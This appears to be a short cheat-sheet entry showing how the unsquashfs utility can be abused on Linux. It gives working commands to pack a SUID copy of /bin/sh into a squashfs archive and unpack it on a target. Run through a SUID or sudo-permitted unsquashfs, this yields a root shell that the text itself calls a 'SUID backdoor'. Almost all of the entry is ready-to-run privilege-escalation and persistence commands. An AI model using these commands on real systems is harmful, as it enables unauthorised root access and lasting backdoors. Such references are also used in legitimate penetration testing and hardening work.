unsquashfs preserve the SUID bit when extracting the file system. Prepare an archive beforehand with the following commands as root:
cp /bin/sh .
chmod +s sh
mksquashfs sh shell
Extract it on the target, then run the SUID shell as usual (omitting the -p where appropriate).
If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.
sudo install -m =xs $(which unsquashfs) .
./unsquashfs shell
./squashfs-root/sh -pIf the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo unsquashfs shell
./squashfs-root/sh -p